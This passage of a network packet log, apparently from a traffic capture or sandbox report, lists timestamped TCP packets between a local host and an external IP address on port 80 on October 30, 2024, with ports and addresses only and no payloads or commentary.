Oct 30, 2024 21:56:13.441963911 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441975117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441986084 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.442017078 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.442045927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.442065954 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.442079067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.442121029 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486005068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486016989 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486023903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486089945 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486102104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486112118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486120939 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486126900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486144066 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486196041 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486196995 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486290932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486309052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486320019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486330032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486337900 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486341953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486352921 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486355066 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486363888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486375093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486385107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486393929 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486393929 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486394882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486408949 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486418962 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486444950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486447096 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486457109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486466885 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486481905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486485958 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486493111 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486505032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486512899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486516953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.486586094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.486586094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.487047911 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.487067938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.487122059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494566917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494587898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494597912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494637966 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494648933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494652987 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494683981 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494693995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494700909 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494724035 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494735003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494775057 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494797945 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494813919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494826078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494836092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494879007 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494909048 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.494962931 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494982004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.494992971 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495007038 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495018005 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495028019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495037079 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495073080 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495073080 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495121002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495135069 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495183945 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495187044 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495194912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495234966 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495300055 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495310068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495323896 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495357990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495357990 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495398045 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495428085 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495431900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495486021 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495529890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495548010 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495558977 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495569944 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495580912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495593071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495595932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495595932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495631933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495632887 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495632887 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495642900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495654106 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495691061 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495714903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.495755911 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495755911 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.495975971 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.496030092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.524779081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524791956 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524800062 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524813890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524830103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524853945 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524866104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524876118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524878979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.524878979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.524885893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.524916887 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.524936914 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.561574936 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561600924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561610937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561681986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561693907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561705112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561712980 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.561729908 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561762094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.561762094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.561813116 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.561821938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561834097 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.561881065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.561990023 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.562000990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.562016010 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.562041044 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.562083960 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606143951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606164932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606177092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606188059 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606199980 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606225014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606237888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606245995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606256008 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606267929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606268883 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606277943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606290102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606303930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606316090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606326103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606328011 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606338978 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606349945 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606360912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606372118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606372118 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606384993 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606391907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606399059 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606400967 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606421947 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606422901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606435061 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606442928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606457949 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606468916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606479883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606486082 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606492996 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606498957 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606514931 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606518030 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606525898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606537104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.606575012 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606575012 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.606575012 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.614486933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614536047 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614554882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614567041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614583015 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614619970 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.614651918 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.614705086 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614732027 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614742994 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614778042 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.614867926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614880085 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614891052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614917994 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.614952087 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.614972115 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614983082 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.614995003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615032911 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615138054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615158081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615170002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615181923 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615183115 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615195990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615206957 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615209103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615238905 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615240097 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615255117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615256071 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615267038 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615284920 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615286112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615298986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615310907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615348101 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615348101 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615374088 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615454912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615466118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615478039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615488052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615499020 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615504026 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615511894 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615524054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615524054 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615556955 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615585089 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615772009 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615783930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615794897 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.615832090 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.615866899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.644505978 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644516945 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644522905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644530058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644541025 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644553900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644577980 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.644614935 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.644742012 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644754887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644766092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644804001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.644804001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.644932032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644942999 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.644988060 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.683409929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683423996 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683434963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683445930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683456898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683466911 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683478117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683485031 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683504105 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.683548927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.683558941 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683712959 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.683760881 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725528955 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725539923 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725550890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725586891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725598097 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725603104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725614071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725630045 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725656986 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725729942 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725740910 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725756884 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725769043 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725783110 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725791931 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725802898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725804090 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725815058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725820065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725826025 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725836992 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725841045 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725868940 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725873947 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725886106 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.725888968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725919008 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.725949049 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726021051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726039886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726051092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726063967 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726073980 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726089001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726089001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726154089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726165056 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726183891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726193905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726196051 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726207018 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726217985 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726222038 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726234913 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726277113 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726298094 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726316929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726329088 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726339102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726363897 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726393938 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.726404905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726413965 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.726458073 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.734431982 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.734443903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.734455109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.734500885 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.734530926 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.734664917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.734675884 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.734687090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.734715939 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.734745979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.735004902 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.735016108 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.735027075 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.735037088 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.735048056 CET	80	50196	185.215.113.16	192.168.2.5
